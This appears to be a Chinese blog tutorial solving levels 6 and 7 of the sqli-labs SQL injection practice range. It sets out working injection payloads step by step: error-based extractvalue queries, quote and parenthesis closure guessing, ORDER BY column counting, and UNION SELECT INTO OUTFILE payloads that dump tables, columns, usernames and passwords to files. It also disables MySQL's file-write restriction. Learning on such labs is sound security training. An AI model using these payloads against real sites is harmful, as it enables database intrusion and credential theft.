前言
sqli靶场第1关:filotimo.blog.less1
sqli靶场第2-3关:filotimo.blog.less2-3
sqli靶场第4-5关:filotimo.blog.less4-5
一、sqli靶场第六关
1.1 判断注入类型
输入?id=1',正常回显('是英文单引号)。
输入?id=1'',正常回显(''是两个英文单引号)。
输入?id=1",出现如图所示报错("是英文双引号):
输入?id=1"",正常回显(""是两个英文双引号)。
1.2 观察报错
报错信息为'"1"" LIMIT 0,1'
判断其为"闭合
输入?id=1'' --+,正常回显。
Less6的正常回显和Less5一样,都没有显示位,我们还是考虑报错注入。
1.3 使用extractvalue函数报错
构造语句:
?id=-1" and extractvalue(1,concat(0x7e,database(),0x7e)) --+
结果如图:
我们能看到数据库名为security。
1.4 爆出数据库中的表名
构造语句:
?id=-1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+
结果如图:
我们能看到表名为emails,referers,uagents,users。
点到为止,后面内容跟Less5思路一样,可以看我前面写的博客。
二、sqli靶场第七关
1.1 判断注入类型
输入?id=1' and 1=1 --+,报语法错误。
输入?id=1" and 1=1 --+,正常回显(''是两个英文单引号)。
但输入?id=1" and 1=2 --+,仍然是正常回显,说明不是单纯的引号注入。
这关数据库具体报错没有提示到页面上,先猜猜看吧。
常用闭合方式有:
?id=1'--+
?id=1"--+
?id=1')--+
?id=1")--+
?id=1'))--+
?id=1"))--+
当输入?id=1')) and 1=1 --+,正常回显。输入?id=1')) and 1=2 --+,报语法错误。说明是'))的闭合方式。
1.2 判断数据表中的字段数
用二分法与order by确定列数为3。
输入?id=1')) order by 3 --+,正常回显。
输入?id=1')) order by 4 --+,报错。
所以数据表中有3个字段。
1.3 提示
正常回显中提示: Use outfile......
在数据库中,outfile是一个命令,用于导出数据到文件。
以下是使用 into outfile 语句的一般语法:
SELECT column1, column2, ... FROM table INTO OUTFILE 'file_path'
其中,SELECT 语句是你的查询语句,column1, column2, ... 是需要获取的列名,table 是要查询的表名。而 'file_path' 是你希望将结果导出到的文件的路径。
into outfile() 写入文件,前提是要MySQL数据库开启secure-file-priv写文件权限,也就是secure_file_priv不为NULL。
我们进入MySQL命令窗口,输入show variables lilke '%secure%' ;
我的界面如图:
我用的是phpstudy,然后进入mysql安装目录,我的目录是E:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26
进入目录,打开my.ini ,我的文件里面没有secure_file_priv,手动添加secure_file_priv=""
保存后退出,然后重启MySQL
再进入MySQL命令窗口,输入show variables lilke '%secure%' ;
这次我的界面如图:
1.4 构造poc爆库名
构造poc:
?id=-1')) union select user(),version(),database() into outfile "C:\\Users\\admin\\Desktop\\database.txt" --+
输入这个poc,它会报语法错误,但不要急,看看你的桌面,你会发现桌面上多了一个名为database.txt的文件。( into outfile 后面的路径分隔符不能是\)
database.txt文件内容:
可以知道数据库的名字为security
1.5 构造poc爆表名
group_concat是一个聚合函数,用于将一组数据按照指定的顺序连接起来,并将结果作为一个字符串返回。它通常用于将多个行中的某个字段进行连接,从而构建出一段文本。
例如,我们有一张表格product,其中包含了id, name和color三个字段,现在我们需要将所有产品的名称连接起来,这时就可以使用group_concat函数:
SELECT GROUP_CONCAT(name) FROM product;
该查询将返回一个包含所有产品名称的逗号分隔字符串。如果想自定义连接符号,可以在 group_concat函数中指定separator参数,例如:
SELECT GROUP_CONCAT(name SEPARATOR ';') FROM product;
该查询将以分号作为连接符号返回所有的产品名称。
构造poc:
?id=-1')) union select user(),version(),(select group_concat(table_name) from information_schema.tables where table_schema="security" ) into outfile "C:\\Users\\admin\\Desktop\\tables.txt" --+
桌面上会出现tables.txt,文件内容为:
可以知道security库中表名为emails,referers,uagents,users。
1.6 构造poc爆字段名
爆出users表中的字段名:
?id=-1')) union select user(),version(),(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users") into outfile "C:\\Users\\admin\\Desktop\\column.txt" --+
桌面上会出现column.txt,文件内容为:
可以知道users表中字段名为id,username,password。
1.7 构造poc获取账号和密码
构造poc:
?id=-1')) union select user(),version(),(select group_concat((concat_ws('~',username,password)) separator ';')from security.users )into outfile "C:\\Users\\admin\\Desktop\\password.txt" --+
桌面上会出现password.txt,文件内容为: